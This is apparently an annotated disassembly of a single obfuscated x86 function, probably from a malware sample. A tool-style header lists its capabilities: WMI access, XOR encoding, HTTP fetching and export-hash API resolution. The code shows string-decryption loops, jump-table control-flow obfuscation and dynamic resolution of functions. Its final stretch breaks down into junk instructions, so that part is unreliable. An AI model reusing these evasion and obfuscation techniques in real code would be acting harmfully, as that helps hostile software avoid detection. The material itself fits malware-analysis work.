Function at 0x436260
Capabilities:
Authenticate hmac
Connect to wmi namespace via wbemlocator
Encode data using xor
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa8
mov eax, dword [0x44bbcc]
mov dword [esp + 0x28], 0x93c191ad
mov dword [esp + 0x2c], 0xafddad25
mov dword [esp + 0x30], 0xabd7a924
mov dword [esp + 0x34], 0xa7faa5d1
mov dword [esp + 0x38], 0xa3dba1d2
mov dword [esp + 0x3c], 0xbfc3bd32
mov dword [esp + 0x40], 0xbbbab985
mov byte [esp + 0x44], 0
mov dword [esp + 0x14], 0
mov ecx, dword [esp + 0x14]
cmp ecx, 0x1c
ja 0x436324
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x14]
movzx edx, byte [esp + edx + 0x28]
lea esi, [ecx + edx]
add esi, 0x1aa8b29c
add ecx, 0x1aa8b29c
not edx
or ecx, edx
sub edx, ecx
lea ecx, [esi + edx*2]
mov dword [esp + 0x94], ecx
mov ecx, dword [esp + 0x94]
mov edx, ecx
xor edx, 0xc
and ecx, 0x73
add ecx, ecx
sub ecx, edx
mov edx, dword [esp + 0x14]
mov byte [esp + edx + 0x28], cl
inc dword [esp + 0x14]
mov ecx, dword [esp + 0x14]
cmp ecx, 0x1d
jb 0x4362d0
lea ecx, [esp + 0x14]
lea edi, [esp + 0x94]
lea ebx, [esp + 0x28]
push ecx
push 8
push edi
push 0xd
push ebx
push 0
call eax
shr eax, 0x1f
jmp dword [eax*4 + 0x449354]
mov dword [esp + 0x94], 0x3a0043
mov dword [esp + 0x98], 0x5c
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x64], 0
lea eax, [esp + 0x64]
push eax
push 0x442ca8
push 1
push 0
push 0x442cb8
call dword [sym.imp.ole32.dll_CoCreateInstance]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44935c]
mov dword [esp + 0x28], 0x3cd01d2
mov dword [esp + 0x2c], 0x7d205cb
mov dword [esp + 0x30], 0xbc909d4
mov dword [esp + 0x34], 0xfc30dc5
mov dword [esp + 0x38], 0x132011c6
mov dword [esp + 0x3c], 0x1514
mov byte [esp + 0x40], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x18
ja 0x436427
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x28]
lea edx, [eax + 0x40]
and edx, ecx
add eax, ecx
add edx, edx
sub eax, edx
add eax, 0x3b04640
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x68]
add al, 0xc0
mov ecx, dword [esp]
mov byte [esp + ecx + 0x28], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x19
jb 0x4363f0
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
lea edx, [esp + 0x60]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push eax
call dword [ecx + 0xc]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x449364]
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x7c]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44936c]
mov dword [esp + 0x28], 0x77c709b3
mov dword [esp + 0x2c], 0x737275c0
mov byte [esp + 0x30], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 8
ja 0x4364e5
mov eax, dword [esp]
mov ecx, dword [esp]
movzx edx, byte [esp + ecx + 0x28]
lea ecx, [eax + edx]
add ecx, 0x5afedfbe
add eax, 0x5afedfbe
and eax, edx
mov edx, ecx
not edx
and edx, eax
add edx, eax
not eax
and eax, ecx
sub eax, edx
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x68]
add al, 0x4a
mov ecx, dword [esp]
mov byte [esp + ecx + 0x28], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 9
jb 0x4364a0
mov dword [esp + 0xc], esi
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp + 0x80], eax
mov dword [esp + 0x28], 0xe3a7e153
mov dword [esp + 0x2c], 0xe7a3e558
mov dword [esp + 0x30], 0xdb6ed99b
mov dword [esp + 0x34], 0xdf84ddbc
mov dword [esp + 0x38], 0xd394d1b0
mov dword [esp + 0x3c], 0xd769d566
mov dword [esp + 0x40], 0xcbaac975
mov dword [esp + 0x44], 0xcf57cd7b
mov dword [esp + 0x48], 0xc391c15e
mov dword [esp + 0x4c], 0xc769c596
mov dword [esp + 0x50], 0x3b83397a
mov dword [esp + 0x54], 0x3f8d3d83
mov word [esp + 0x58], 0x3130
mov dword [esp + 0x5a], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x35
ja 0x4365d1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x28]
lea edx, [eax + ecx]
add edx, 0x60782dd8
add eax, 0xd8
and eax, ecx
mov ecx, edx
xor ecx, eax
add ecx, eax
not eax
and eax, edx
add eax, eax
sub eax, ecx
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x68]
mov ecx, eax
not ecx
and ecx, 0x38
and eax, 0xc7
sub eax, ecx
mov ecx, dword [esp]
mov byte [esp + ecx + 0x28], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x36
jb 0x436580
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x60]
mov ecx, dword [esi]
lea edx, [esp + 0x8c]
push edx
push 0
push 0x30
mov dword [esp + 0x9c], eax
push eax
push dword [esp + 0x90]
push esi
call dword [ecx + 0x50]
not eax
shr eax, 0x1f
mov esi, dword [esp + 0xc]
jmp dword [eax*4 + 0x449374]
mov dword [esp + 0x84], 0
mov eax, dword [esp + 0x8c]
mov ecx, dword [eax]
lea edx, [esp + 0x84]
lea esi, [esp + 0x88]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
setns cl
cmp eax, 1
setne al
cmp dword [esp + 0x84], 0
setne dl
and dl, al
and dl, cl
movzx eax, dl
mov esi, dword [esp + 0xc]
jmp dword [eax*4 + 0x44938c]
lea eax, [esp + 0x68]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x88]
mov dword [esp + 0x28], 0xb921bbf1
mov dword [esp + 0x2c], 0xbd21bf2e
mov dword [esp + 0x30], 0xb12eb3db
mov dword [esp + 0x34], 0xb53db7c2
mov dword [esp + 0x38], 0xa9ccab27
mov dword [esp + 0x3c], 0xad38af33
mov word [esp + 0x40], 0xa3ac
mov dword [esp + 0x42], 0
mov word [esp + 0x46], 0
mov dword [esp + 4], 0
mov ecx, dword [esp + 4]
cmp ecx, 0x1f
ja 0x436703
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 4]
mov edx, dword [esp + 4]
movzx edx, byte [esp + edx + 0x28]
add ecx, 0xc8910a1f
xor ecx, edx
mov dword [esp], ecx
mov ecx, dword [esp]
add cl, 0x65
mov edx, dword [esp + 4]
mov byte [esp + edx + 0x28], cl
inc dword [esp + 4]
mov ecx, dword [esp + 4]
cmp ecx, 0x20
jb 0x4366d0
mov ecx, dword [eax]
push 0
push 0
lea edx, [esp + 0x70]
push edx
push 0
push ebx
push eax
call dword [ecx + 0x10]
test eax, eax
setns al
cmp word [esp + 0x68], 8
sete cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x449394]
push dword [esp + 0x70]
call dword [sym.imp.OLEAUT32.dll_VariantInit]
mov edx, dword [esp + 0x70]
mov dword [esp + 0x24], eax
lea eax, [edx + eax*2]
mov dword [esp + 0x7c], eax
movzx ecx, word [edx]
test cx, cx
mov dword [esp + 8], edx
je 0x436794
xor edi, edi
mov eax, edx
jmp 0x43676c
add edi, edx
movzx ecx, word [eax + 2]
add eax, 2
test cx, cx
mov esi, dword [esp + 0xc]
je 0x436796
cmp eax, dword [esp + 0x7c]
jae 0x436796
movzx esi, cx
cmp esi, 0x800
mov ecx, 3
sbb ecx, 0
mov edx, 1
cmp esi, 0x80
jb 0x43675a
mov edx, ecx
jmp 0x43675a
xor edi, edi
lea eax, [edi + 1]
mov dword [esp + 0x78], eax
push eax
call fcn.00408680
add esp, 4
mov dword [esp + 0x10], eax
test edi, edi
mov ecx, dword [esp + 8]
jle 0x436889
mov eax, dword [esp + 0x10]
cmp dword [esp + 0x24], 0
jle 0x436889
mov eax, dword [esp + 0x10]
lea edx, [eax + edi]
mov dword [esp + 0x24], edx
add dword [esp + 0x78], eax
add ecx, 2
movzx edx, word [ecx - 2]
test dx, dx
je 0x436889
cmp dx, 0x7f
ja 0x4367f3
mov byte [eax], dl
mov esi, 1
jmp 0x436860
mov dword [esp + 8], ecx
mov ecx, eax
not ecx
add ecx, dword [esp + 0x78]
movzx ebx, dx
cmp ecx, 2
jb 0x43682d
cmp ebx, 0x7ff
ja 0x43682d
mov ecx, edx
shr ecx, 6
add cl, 0xc0
mov byte [eax], cl
and dl, 0x3f
or dl, 0x80
mov byte [eax + 1], dl
mov esi, 2
mov ecx, dword [esp + 8]
jmp 0x436860
xor esi, esi
cmp ecx, 3
mov ecx, dword [esp + 8]
jb 0x436860
mov ecx, ebx
shr ecx, 0xc
or cl, 0xe0
mov byte [eax], cl
mov ecx, dword [esp + 8]
shr ebx, 6
and bl, 0x3f
or bl, 0x80
mov byte [eax + 1], bl
and dl, 0x3f
or dl, 0x80
mov byte [eax + 2], dl
mov esi, 3
add eax, esi
cmp eax, dword [esp + 0x24]
jae 0x436881
mov edx, ecx
add ecx, 2
cmp edx, dword [esp + 0x7c]
lea ebx, [esp + 0x28]
mov esi, dword [esp + 0xc]
jb 0x4367d7
jmp 0x436889
lea ebx, [esp + 0x28]
mov esi, dword [esp + 0xc]
mov byte [eax], 0
xor ecx, ecx
mov edx, dword [case.0x43689c.4]
xor eax, eax
cmp ecx, 4
setb al
jmp dword [eax*4 + 0x44939c]
jmp edx
mov eax, dword [esp + 0x10]
mov eax, dword [eax + ecx*4]
mov dword [esp + ecx*4 + 0x14], eax
add edi, 0xfffffffc
xor eax, eax
cmp edi, 4
setb al
jmp dword [eax*4 + 0x4493b4]
inc ecx
xor eax, eax
cmp ecx, 4
setb al
jmp dword [eax*4 + 0x44939c]
lea edi, [esp + 0x94]
jmp dword [0x4493bc]
push dword [esp + 0x10]
call fcn.00408690
add esp, 4
lea eax, [esp + 0x68]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x88]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x8c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [esp + 0x80]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 0x90]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [esp + 0x28], 0
push 0xefddb36b
push dword [0x44bbc4]
call fcn.0043e3f0
add esp, 8
push 0
push 0
push 0
push 0
push ebx
push 0
push 0
push edi
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x4493c4]
mov esi, dword [ebp + 8]
mov eax, dword [esp + 0x28]
mov dword [esp + 0x14], eax
xor edi, edi
xor eax, eax
cmp edi, 4
setb al
jmp dword [eax*4 + 0x4493cc]
xor ecx, ecx
test edi, edi
setne cl
mov eax, edi
jmp dword [ecx*4 + 0x4493d4]
xor ecx, ecx
cmp dword [esp + edi*4 + 0x14], 0
sete cl
mov eax, edi
jmp dword [ecx*4 + 0x4493dc]
lea eax, [edi - 1]
mov eax, dword [esp + eax*4 + 0x14]
mov ecx, eax
and ecx, 0xffe5a7ba
mov edx, eax
and edx, 0x1a5845
or eax, 0x1a5845
imul eax, edx
xor edx, 0x1a5845
imul edx, ecx
add eax, edx
add eax, 0xebde8a13
mov dword [esp + edi*4 + 0x14], eax
mov ebx, 0xfffffff7
push 0x10
push 9
push esi
push eax
call fcn.004158d0
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
inc ebx
cmp byte [eax + ecx + 9], 0
jne case.default.0x436a33
dec eax
xor edx, edx
cmp ecx, 0xffffffff
setne dl
jmp dword [edx*4 + 0x4493e4]
mov byte [eax], 0x30
dec eax
inc ecx
xor edx, edx
cmp ecx, 0xffffffff
setne dl
jmp dword [edx*4 + 0x4493e4]
add esi, 8
inc edi
xor eax, eax
cmp edi, 4
setb al
jmp dword [eax*4 + 0x4493cc]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, [ebp - 0x20]
push 0x68
push 7
push 0x100080
push eax
push edi
call fcn.0043eed0
add esp, 0x14
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x20]
push 0x68
push 7
push 0x100080
push eax
push edi
call fcn.0043eed0
add esp, 0x14
jmp dword [0x449404]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44940c]
xor eax, eax
jmp 0x436d43
push 0x400
call fcn.0043a0c0
add esp, 4
mov edi, eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x1c], 0x40474645
mov word [ebp - 0x18], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 5
ja 0x436b57
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
movzx ecx, byte [ebp + ecx - 0x1c]
lea edx, [eax + ecx]
add eax, 0x71
and eax, ecx
add eax, eax
sub edx, eax
add edx, 0x93cab771
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
add al, 0xcb
mov ecx, dword [ebp - 0x10]
mov byte [ebp + ecx - 0x1c], al
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, 6
jb 0x436b20
mov eax, dword [ebp - 0x1c]
mov edx, dword [0x44bbd0]
test edx, edx
je case.default.0x436bb3
mov dword [ebp - 0x28], ebx
xor ecx, ecx
mov ebx, dword [0x44bbd4]
nop
cmp dword [ebx + ecx*8], 0x77a9e0c4
je 0x436b80
inc ecx
cmp edx, ecx
jne 0x436b70
jmp case.default.0x436bb3
mov ecx, dword [ebx + ecx*8 + 4]
cmp ecx, eax
je case.default.0x436bb3
push 0x2f
push 0x400
push edi
push dword [ebp - 0x28]
push dword [ebp - 0x14]
push 5
push dword [0x44bbd8]
push ecx
call fcn.0043c6e0
add esp, 0x20
not eax
shr eax, 0x1f
mov dword [ebp - 0x14], 0
jmp dword [eax*4 + 0x449414]
push edi
call fcn.0043a150
add esp, 4
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], 0x40474645
mov word [ebp - 0x18], 0
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
cmp ecx, 5
ja 0x436c28
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
movzx edx, byte [ebp + edx - 0x1c]
lea esi, [ecx + edx]
add ecx, 0x71
and ecx, edx
add ecx, ecx
sub esi, ecx
add esi, 0x93cab771
mov dword [ebp - 0x24], esi
mov ecx, dword [ebp - 0x24]
add cl, 0xcb
mov edx, dword [ebp - 0x10]
mov byte [ebp + edx - 0x1c], cl
inc dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
cmp ecx, 6
jb 0x436bf0
mov ecx, dword [0x44bbd0]
test ecx, ecx
je 0x436d3e
mov edx, dword [ebp - 0x1c]
xor esi, esi
mov edi, dword [0x44bbd4]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x625b6034
je 0x436d24
inc esi
cmp ecx, esi
jne 0x436c50
jmp 0x436d3e
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0x14], 0
cmp ecx, dword [edi]
setb al
xor ebx, ebx
jmp dword [eax*4 + 0x44942c]
mov ecx, esi
call fcn.0043a610
add ebx, 0xdffdf5b
mov eax, ebx
and eax, 1
xor ebx, 1
lea ebx, [ebx + eax*2]
add ebx, 0xf20020a5
xor eax, eax
mov edi, dword [ebp - 0x2c]
cmp ebx, dword [edi]
setb al
jmp dword [eax*4 + 0x44942c]
mov eax, dword [edi + ebx*4 + 4]
mov dword [esi + 0xc], 0
mov dword [esi + 8], 0
mov dword [esi + 4], 0
mov dword [esi], 0
mov ecx, esi
push 0
push eax
call fcn.0043a460
xor eax, eax
mov ecx, dword [ebp + 0xc]
neg ecx
mov edi, dword [ebp + 0x10]
sbb eax, edi
setl al
movzx eax, al
shl eax, 0x14
or eax, 1
mov ecx, esi
push eax
call fcn.0043a480
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x449434]
mov eax, edi
mov edi, esi
mov ecx, esi
push eax
push dword [ebp + 0xc]
push 0
call fcn.0043a6f0
test eax, eax
setns al
mov dword [ebp - 0x14], eax
mov esi, edi
jmp case.0x436bb3.8
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je 0x436d3e
push eax
push 1
push dword [0x44bbd8]
push ecx
call fcn.0043c6e0
add esp, 0x10
mov eax, dword [ebp - 0x14]
and al, 1
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov ax, word [ebp]
xor ecx, ecx
test ax, ax
sete cl
mov dword [esp + 0x114], ecx
mov eax, dword [esp + 0x118]
mov ecx, dword [esp + 0x114]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0xc]
mov bp, word [eax]
mov eax, dword [esp + 0x38c]
mov ecx, dword [esp + 0x390]
mov eax, dword [ecx + eax*4]
jmp eax
mov word [ebp], 0
mov eax, dword [esp + 0x3e4]
mov ecx, dword [esp + 0x3e8]
mov eax, dword [ecx + eax*4]
mov ebx, ebp
jmp eax
mov eax, dword [esp + 0x23c]
mov ecx, dword [esp + 0x240]
mov eax, dword [ecx + eax*4]
jmp eax
mov ecx, dword [esp + 0x28c]
mov edx, dword [esp + 0x290]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov eax, dword [esp + 0x3ec]
mov ecx, dword [esp + 0x3f0]
mov ecx, dword [ecx + eax*4]
xor eax, eax
jmp ecx
call fcn.00415f20
mov dword [esp + 0x2bc], 1
mov eax, dword [esp + 0x2c0]
mov ecx, dword [esp + 0x2bc]
mov eax, dword [eax + ecx*4]
jmp eax
mov dh, 0x84
inc ebp
sti
mov eax, dword [esp + 0x8c]
mov ecx, dword [esp + 0x90]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00415f20
test edi, edi
sete al
mov dword [esp + 0x25c], 1
mov ecx, dword [esp + 0x260]
mov edx, dword [esp + 0x25c]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor eax, eax
mov cl, byte [esp + 0x15]
mov al, cl
and eax, 1
mov dword [esp + 0x33c], eax
mov eax, dword [esp + 0x340]
mov ecx, dword [esp + 0x33c]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.00415f20
mov dword [esp + 0x154], 0
mov eax, dword [esp + 0x158]
mov ecx, dword [esp + 0x154]
mov eax, dword [eax + ecx*4]
jmp eax
stc
xchg ecx, eax
in al, 0x5f
mov eax, dword [esp + 0x64]
mov ecx, dword [esp + 0x68]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, byte [esp + 0x14]
mov byte [esp + 0x3c], al
mov byte [esp + 0x24], 0xee
mov byte [esp + 0x25], 0x27
mov byte [esp + 0x26], 0xc2
mov byte [esp + 0x27], 0x21
mov byte [esp + 0x28], 0x20
mov byte [esp + 0x29], 0x23
mov eax, 6
mov byte [esp + eax + 0x24], 0
add eax, 1
cmp eax, 0xc
jne 0x43798e
mov dword [esp + 0x1c], 0
mov eax, dword [esp + 0x1c]
cmp eax, 0xc
jae 0x4379d8
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x1c]
movzx ecx, byte [esp + ecx + 0x24]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0043a0a0
mov ecx, dword [esp + 0x1c]
mov byte [esp + ecx + 0x24], al
mov eax, dword [esp + 0x1c]
inc eax
mov dword [esp + 0x1c], eax
jmp 0x4379a3
mov edi, ebp
add edi, 2
lea eax, [esp + 0x24]
mov dword [esp + 4], eax
mov dword [esp], edi
call fcn.00438750
xor ecx, ecx
test eax, eax
setne al
mov dword [esp + 0x1ec], 0
mov edx, dword [esp + 0x1f0]
mov ebx, dword [esp + 0x1ec]
mov edx, dword [edx + ebx*4]
mov ebx, dword [esp + 0x10]
jmp edx
mov eax, dword [esp + 0xcc]
mov ecx, dword [esp + 0xd0]
mov ecx, dword [ecx + eax*4]
mov al, 1
jmp ecx
cmc
dec edx
adc dl, byte [edi + 0x2d038eca]
mov eax, dword [esp + 0x94]
mov ecx, dword [esp + 0x98]
mov eax, dword [ecx + eax*4]
jmp eax
mov ax, word [esi]
xor ecx, ecx
sub ax, 0x2e
sete cl
mov dword [esp + 0x20c], ecx
mov eax, dword [esp + 0x210]
mov ecx, dword [esp + 0x20c]
mov eax, dword [eax + ecx*4]
jmp eax
not al
movzx eax, al
and eax, 1
mov dword [esp + 0x244], eax
mov eax, dword [esp + 0x248]
mov ecx, dword [esp + 0x244]
mov eax, dword [eax + ecx*4]
jmp eax
cmp dword [esi - 0x21], esp
xchg byte [ebx - 0x74a3dbbc], cl
dec esp
and al, 0x60
mov eax, dword [ecx + eax*4]
jmp eax
mov esi, edx
call fcn.00415f20
mov dword [esp + 0x1f4], 0
mov eax, dword [esp + 0x1f8]
mov ecx, dword [esp + 0x1f4]
mov eax, dword [eax + ecx*4]
jmp eax
add edx, 4
mov eax, dword [esp + 0x12c]
mov ecx, dword [esp + 0x130]
mov eax, dword [ecx + eax*4]
mov esi, edx
jmp eax
xor ebx, ebx
mov eax, dword [esp + 0x10]
sub eax, ebp
seta byte [esp + 0x17]
mov eax, dword [esp + 0x314]
mov ecx, dword [esp + 0x318]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x2fc]
mov ecx, dword [esp + 0x300]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, byte [esp + 0x30]
mov byte [esp + 0x34], al
mov byte [esp + 0x40], 0xa
mov byte [esp + 0x41], 0xcb
mov byte [esp + 0x42], 0x6e
mov byte [esp + 0x43], 0xc9
mov byte [esp + 0x44], 0xc8
mov byte [esp + 0x45], 0xc7
mov eax, 6
mov byte [esp + eax + 0x40], 0
add eax, 1
cmp eax, 0xc
jne 0x437b50
mov dword [esp + 0x18], 0
mov eax, dword [esp + 0x18]
cmp eax, 0xc
jae 0x437b9a
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x18]
movzx ecx, byte [esp + ecx + 0x40]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0043a070
mov ecx, dword [esp + 0x18]
mov byte [esp + ecx + 0x40], al
mov eax, dword [esp + 0x18]
inc eax
mov dword [esp + 0x18], eax
jmp 0x437b65
mov edi, ebp
add edi, 2
lea eax, [esp + 0x40]
mov dword [esp + 4], eax
mov dword [esp], edi
call fcn.00438750
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp + 0x2ac], ecx
mov eax, dword [esp + 0x2b0]
mov ecx, dword [esp + 0x2ac]
mov eax, dword [eax + ecx*4]
jmp eax
mov ax, word [ebp]
xor ecx, ecx
test ax, ax
sete cl
mov dword [esp + 0x1fc], ecx
mov eax, dword [esp + 0x200]
mov ecx, dword [esp + 0x1fc]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esp + 0x10]
jmp eax
mov al, cl
and eax, 1
mov dword [esp + 0x184], eax
mov eax, dword [esp + 0x188]
mov ecx, dword [esp + 0x184]
mov eax, dword [eax + ecx*4]
jmp eax
not al
movzx eax, al
and eax, 1
mov dword [esp + 0x1bc], eax
mov eax, dword [esp + 0x1c0]
mov ecx, dword [esp + 0x1bc]
mov eax, dword [eax + ecx*4]
mov edx, dword [esp + 0xc]
jmp eax
mov ecx, dword [esp + 0x254]
mov edx, dword [esp + 0x258]
mov ecx, dword [edx + ecx*4]
jmp ecx
call fcn.00415f20
mov dword [esp + 0x194], 0
mov eax, dword [esp + 0x198]
mov ecx, dword [esp + 0x194]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x35c]
mov ecx, dword [esp + 0x360]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00415f20
mov dword [esp + 0x304], 1
mov eax, dword [esp + 0x308]
mov ecx, dword [esp + 0x304]
mov eax, dword [eax + ecx*4]
jmp eax
mov word [eax], 0x5c
mov word [ebp + 6], 0
mov eax, dword [esp + 0xd4]
mov ecx, dword [esp + 0xd8]
mov eax, dword [ecx + eax*4]
jmp eax
mov edx, dword [esp + 0xc]
mov esi, edx
add esi, 2
mov ax, word [edx + 2]
xor ecx, ecx
test ax, ax
sete cl
mov dword [esp + 0x31c], ecx
mov eax, dword [esp + 0x320]
mov ecx, dword [esp + 0x31c]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x74]
mov ecx, dword [esp + 0x78]
mov eax, dword [ecx + eax*4]
jmp eax
pop ss
mov eax, dword [0x2ea7f663]
aaa
les ecx, [ebx + 0xa42484]
add byte [eax], al
mov ecx, dword [esp + 0xa8]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00415f20
mov dword [esp + 0x274], 1
mov eax, dword [esp + 0x278]
mov ecx, dword [esp + 0x274]
mov eax, dword [eax + ecx*4]
jmp eax
mov ecx, dword [esp + 0x1c4]
mov edx, dword [esp + 0x1c8]
mov ecx, dword [edx + ecx*4]
jmp ecx
call fcn.00415f20
mov dword [esp + 0x364], 1
mov eax, dword [esp + 0x368]
mov ecx, dword [esp + 0x364]
mov eax, dword [eax + ecx*4]
jmp eax
rcr byte [ebx + eax - 0xe91d3df], 0xc3
mov eax, dword [esp + 0x84]
mov ecx, dword [esp + 0x88]
mov eax, dword [ecx + eax*4]
jmp eax
xor eax, eax
mov ecx, ebx
sub ecx, 3
sete al
mov dword [esp + 0x214], eax
mov eax, dword [esp + 0x218]
mov ecx, dword [esp + 0x214]
mov eax, dword [eax + ecx*4]
mov esi, dword [esp + 0xc]
jmp eax
mov eax, dword [esp + 0x164]
mov ecx, dword [esp + 0x168]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [esp + 0x10], ebx
call fcn.00415f20
mov dword [esp + 0x3a4], 0
mov eax, dword [esp + 0x3a8]
mov ecx, dword [esp + 0x3a4]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esp + 8], ebx
mov dword [esp + 4], esi
mov ebx, dword [esp + 0x10]
mov dword [esp], ebx
call fcn.0041c980
lea ebx, [ebx + edi*2]
lea esi, [esi + edi*2]
mov eax, dword [esp + 0x124]
mov ecx, dword [esp + 0x128]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00415f20
mov dword [esp + 0x1d4], 1
mov eax, dword [esp + 0x1d8]
mov ecx, dword [esp + 0x1d4]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0xac]
mov ecx, dword [esp + 0xb0]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00415f20
mov edi, esi
add edi, 0xfffffffe
mov dword [esp + 0x16c], 0
mov eax, dword [esp + 0x170]
mov ecx, dword [esp + 0x16c]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, cl
and eax, 1
mov dword [esp + 0x394], eax
mov eax, dword [esp + 0x398]
mov ecx, dword [esp + 0x394]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, 0x8b760edc
inc esp
and al, 0x4c
mov ecx, dword [esp + 0x50]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, ebp
add eax, 4
mov ecx, dword [esp + 0xfc]
mov edx, dword [esp + 0x100]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov word [ebx], 0
mov eax, dword [esp + 0x11c]
mov ecx, dword [esp + 0x120]
mov eax, dword [ecx + eax*4]
mov edi, esi
jmp eax
mov eax, dword [esp + 0x17c]
mov ecx, dword [esp + 0x180]
mov eax, dword [ecx + eax*4]
mov ebx, esi
mov edx, dword [esp + 0xc]
jmp eax
xor eax, eax
mov ecx, ebx
sub ecx, 2
sete al
mov dword [esp + 0x32c], eax
mov eax, dword [esp + 0x330]
mov ecx, dword [esp + 0x32c]
mov eax, dword [eax + ecx*4]
mov ebp, dword [esp + 0x414]
jmp eax
mov eax, dword [esp + 0x144]
mov ecx, dword [esp + 0x148]
mov eax, dword [ecx + eax*4]
jmp eax
mov ax, word [ebp + 2]
xor ecx, ecx
sub ax, 0x3a
sete cl
mov dword [esp + 0x104], ecx
mov eax, dword [esp + 0x108]
mov ecx, dword [esp + 0x104]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x374]
mov ecx, dword [esp + 0x378]
mov eax, dword [ecx + eax*4]
jmp eax
test eax, 0x2f274fe
loop 0x43810b
inc esp
mov dword [esp], edi
